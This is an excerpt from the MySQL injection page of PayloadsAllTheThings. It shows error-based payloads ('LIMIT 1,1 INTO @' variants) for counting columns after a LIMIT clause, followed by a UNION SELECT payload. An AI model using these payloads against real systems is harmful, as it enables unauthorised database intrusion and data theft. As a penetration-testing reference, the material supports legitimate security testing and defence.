This method is effective when error reporting is enabled. It can help determine the number of columns in cases where the injection point occurs after a LIMIT clause. | Payload | Error | | ---------------------------- | --------------------------------------------------------------- | | `1' LIMIT 1,1 INTO @--+` | `The used SELECT statements have a different number of columns` | | `1' LIMIT 1,1 INTO @,@--+` | `The used SELECT statements have a different number of columns` | | `1' LIMIT 1,1 INTO @,@,@--+` | `No error means query uses 3 columns` | Since the result doesn't show any error it means the query uses 3 columns: `-1' UNION SELECT 1,2,3--+`.
Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.